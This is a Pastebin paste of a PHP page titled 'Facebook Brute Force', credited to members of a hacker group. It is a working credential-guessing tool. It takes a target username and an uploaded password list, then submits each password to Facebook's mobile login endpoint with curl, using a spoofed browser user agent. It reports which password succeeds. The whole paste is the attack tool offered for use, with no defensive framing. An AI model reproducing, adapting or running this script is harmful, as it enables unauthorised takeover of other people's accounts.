Advertisement
Guest User

Facebook brute.php

a guest
Sep 20th, 2019
1,938
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.13 KB | None | 0 0
  1. <html>
  2. <title>Facebook Brute Force</title>
  3. <link href='http://fonts.googleapis.com/css?family=Federant' rel='stylesheet' type='text/css'/>
  4. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css" />
  5. <style type="text/css">
  6. body {
  7. background:black; font-size:11px;
  8. font-family: Federant;
  9. color: white; }
  10. a {
  11. color: dodgerblue;
  12. font-family: Federant;
  13. }
  14. a:hover {
  15. border-bottom:1px solid aqua;
  16. }
  17. #menu a {
  18. font-family: Federant;
  19. padding:4px 15px;
  20. margin:0;
  21. background:darkred;
  22. color:white;
  23. text-decoration:none;
  24. letter-spacing:2px;
  25. -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  26. }
  27. #menu a:hover {
  28. padding:4px 15px;
  29. margin:0;
  30. font-family: Federant;
  31. background: grey;
  32. color:white;
  33. text-decoration:none;
  34. letter-spacing:2px;
  35. -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  36. }
  37. textarea {
  38. width:600px;
  39. height:200px;
  40. background: black;
  41. border:1px solid darkred;
  42. color: white;
  43. font-family: Federant;
  44. }
  45. input[type=text] , input[type=file] , select {
  46. background:black;
  47. color:white;border: 1px solid darkred;
  48. padding:6px 6px 6px 6px;
  49. font-family: Federant;
  50. }
  51. input[type=submit] {
  52. background:#b70505;
  53. color:white;border: 1px solid #000;
  54. padding:6px 6px 6px 6px;
  55. font-family: Federant;
  56. }
  57. button[type=submit] {
  58. background:#b70505;
  59. color:white;border: 1px solid #000;
  60. padding:6px 6px 6px 6px;
  61. font-family: Federant;
  62. }
  63. .subbtn:hover {
  64. background:#c0bfbf;
  65. color:#000000;
  66. font-family: Federant;
  67. }
  68.  
  69. td, th { font-size: 12pt; text-align: left; vertical-align: top; color: dodgerblue; }
  70. h1 { font-size: 16pt; text-align: center; }
  71. h1 a { color: #000000 !important; text-decoration: none; }
  72. p { text-align: center; font-size: 9pt; }
  73. p a { color: #666666 !important; }
  74. table { margin: 0 auto; border-collapse: collapse; border: 1px solid #ffffff; min-width: 400px; }
  75. th, td { padding: 5px 10px; }
  76. th { background: black; color: #ffffff; }
  77. td a { color: dodgerblue !important; text-decoration: none; }
  78. th img { position: relative; top: -3px; left: 2px; }
  79. td { border-bottom: 1px solid #cccccc; background: black; }
  80. tr.odd td { background: black; }
  81.  
  82. #lol a {
  83. padding:4px 15px;
  84. margin:0;
  85. background:darkgreen;
  86. color:white;
  87. text-decoration:none;
  88. letter-spacing:2px;
  89. -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  90. }
  91.  
  92. </style>
  93. <?php
  94. // ============================= //
  95. # Facebook Brute Force
  96. # Created by Lyonc
  97. # Recode by Mr.T959
  98. # Garuda Security Hacker
  99. # Use On Localhost
  100. // ============================= //
  101.  
  102. error_reporting(0);
  103.  
  104. $user = $_POST['tguser'];
  105.  
  106. echo '<head>
  107. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  108. <title>Facebook Brute Force</title>
  109. </head>
  110. <body>
  111. <center>
  112. ';
  113.  
  114. if(isset($_POST['startbf']) && !empty($user) && $_FILES['netfile']['size'] !== 0){
  115. $textkskc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123457890';
  116. $panj = 15;
  117. $txtl = strlen($textkskc)-1;
  118. $uploadz = '';
  119. for($i=1; $i<=$panj; $i++){
  120. $uploadz .= $textkskc[rand(0, $txtl)];
  121. }
  122. if(move_uploaded_file($_FILES['netfile']['tmp_name'], $uploadz)){
  123. $passlists = file_get_contents($uploadz);
  124. unlink($uploadz);
  125. }else{
  126. $passlists = '';
  127. }
  128. $listspass = explode("\n", $passlists);
  129. if(isset($_POST['brift'])){
  130. foreach($listspass as $pass){
  131. if(logfb(urlencode($user), urlencode($pass))){
  132. echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="green">True</font><br/>'."\n";
  133. break;
  134. }else{
  135. echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="red">False</font><br/>'."\n";
  136. }
  137. }
  138. }else{
  139. foreach($listspass as $pass){
  140. if(logfb(urlencode($user), urlencode($pass))){
  141. echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="green">True</font><br/>'."\n";
  142. }else{
  143. echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="red">False</font><br/>'."\n";
  144. }
  145. }
  146. }
  147. }else{
  148. echo '<form method="post" enctype="multipart/form-data">
  149. <b><font size="6" color="red">Facebook Brute Force</font></b><br/><br/>
  150. <b>Target Username</b><br/>
  151. <input type="text" size="40" name="tguser" placeholder="Target Username" value="'.htmlspecialchars($user).'"><br/><br/>
  152. <b>Password Lists</b><br/>
  153. <input type="file" name="netfile"><br/>
  154. <input type="checkbox" name="brift" value="Break If True"><font color="red">Break If True</font><br/><br/>
  155. <input type="submit" name="startbf" value="START">
  156. </form>
  157. ';
  158. }
  159.  
  160. echo '</center>
  161. </body>';
  162.  
  163. function logfb($login_email, $login_pass){
  164. $cookielog = 'gsh_cookie';
  165. $fp = fopen($cookielog, 'w');
  166. fwrite($fp, '');
  167. fclose($fp);
  168. $ch = curl_init();
  169. curl_setopt($ch, CURLOPT_URL, 'https://m.facebook.com/login.php');
  170. curl_setopt($ch, CURLOPT_POSTFIELDS, 'email='.$login_email.'&pass='.$login_pass.'&login=Login');
  171. curl_setopt($ch, CURLOPT_POST, 1);
  172. curl_setopt($ch, CURLOPT_HEADER, 0);
  173. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  174. curl_setopt($ch, CURLOPT_COOKIEJAR, $cookielog);
  175. curl_setopt($ch, CURLOPT_COOKIEFILE, $cookielog);
  176. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  177. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  178. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  179. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3');
  180. curl_setopt($ch, CURLOPT_REFERER, 'http://m.facebook.com');
  181. $page = curl_exec($ch) or die('<font color="red">Can\'t Connect to Host</font>');
  182. if(eregi('<title>Facebook</title>', $page) || eregi('id="checkpointSubmitButton"', $page)){
  183. return TRUE;
  184. }else{
  185. return FALSE;
  186. }
  187. }
  188. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement